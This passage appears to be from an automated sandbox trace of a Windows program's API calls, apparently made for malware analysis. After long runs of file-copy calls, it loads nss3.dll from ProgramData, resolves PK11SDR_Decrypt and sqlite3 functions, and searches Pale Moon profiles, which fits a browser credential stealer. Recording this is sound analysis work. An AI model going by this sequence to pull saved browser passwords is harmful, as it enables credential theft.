lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.489] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.489] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.490] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.491] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.491] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.491] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.491] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.491] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.491] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.491] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.491] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.492] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.492] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.492] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.492] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.492] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.492] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.493] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.493] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.493] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.493] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.493] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.493] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.493] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.493] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.494] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.494] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.494] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.494] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.494] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.494] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.494] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.494] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.495] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.495] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.495] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.495] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.495] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.495] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.495] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.495] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.495] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.495] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.496] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.496] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.496] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.496] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.496] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.496] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.496] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.496] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.496] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.497] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.497] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.497] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.497] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.497] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.497] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.497] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.497] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.497] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.498] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.498] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.498] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.510] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.510] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.510] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.511] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.511] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.511] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.511] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.511] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.511] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.511] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.511] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.512] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.512] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.512] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.512] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.512] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.512] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.512] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.512] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.513] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.513] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0050.347] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e8d750, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0050.354] MapViewOfFile (hFileMappingObject=0x398, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8000) returned 0x29e0000 [0050.361] UnmapViewOfFile (lpBaseAddress=0x29e0000) returned 1 [0050.361] CloseHandle (hObject=0x398) returned 1 [0050.361] CloseHandle (hObject=0x394) returned 1 [0050.361] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a5d0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 48 [0050.365] SetEnvironmentVariableA (lpName="PATH", lpValue="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\ProgramData;C:\\ProgramData") returned 1 [0050.366] LoadLibraryA (lpLibFileName="C:\\ProgramData\\nss3.dll") returned 0x73880000 [0050.366] GetProcAddress (hModule=0x73880000, lpProcName="NSS_Init") returned 0x7390dc11 [0050.366] GetProcAddress (hModule=0x73880000, lpProcName="NSS_Shutdown") returned 0x7390de9c [0050.366] GetProcAddress (hModule=0x73880000, lpProcName="PK11_GetInternalKeySlot") returned 0x739322b8 [0050.366] GetProcAddress (hModule=0x73880000, lpProcName="PK11_FreeSlot") returned 0x73931d2a [0050.367] GetProcAddress (hModule=0x73880000, lpProcName="PK11_Authenticate") returned 0x7391aa95 [0050.367] GetProcAddress (hModule=0x73880000, lpProcName="PK11SDR_Decrypt") returned 0x7392e262 [0050.367] GetProcAddress (hModule=0x73880000, lpProcName="sqlite3_open") returned 0x73884077 [0050.367] GetProcAddress (hModule=0x73880000, lpProcName="sqlite3_prepare_v2") returned 0x738848cd [0050.367] GetProcAddress (hModule=0x73880000, lpProcName="sqlite3_step") returned 0x73885efb [0050.368] GetProcAddress (hModule=0x73880000, lpProcName="sqlite3_column_text") returned 0x738861da [0050.368] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\*", lpFindFileData=0x19f410 | out: lpFindFileData=0x19f410) returned 0xffffffff [0050.368] SetEnvironmentVariableA (lpName="PATH", lpValue="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\ProgramData;C:\\ProgramData;C:\\ProgramData") returned 1 [0050.368] LoadLibraryA (lpLibFileName="C:\\ProgramData\\nss3.dll") returned 0x73880000 [0050.368] GetProcAddress (hModule=0x73880000, lpProcName="NSS_Init") returned 0x7390dc11 [0050.369] GetProcAddress (hModule=0x73880000, lpProcName="NSS_Shutdown") returned 0x7390de9c [0050.369] GetProcAddress (hModule=0x73880000, lpProcName="PK11_GetInternalKeySlot") returned 0x739322b8 [0050.369] GetProcAddress (hModule=0x73880000, lpProcName="PK11_FreeSlot") returned 0x73931d2a [0050.369] GetProcAddress (hModule=0x73880000, lpProcName="PK11_Authenticate") returned 0x7391aa95 [0050.369] GetProcAddress (hModule=0x73880000, lpProcName="PK11SDR_Decrypt") returned 0x7392e262 [0050.369] 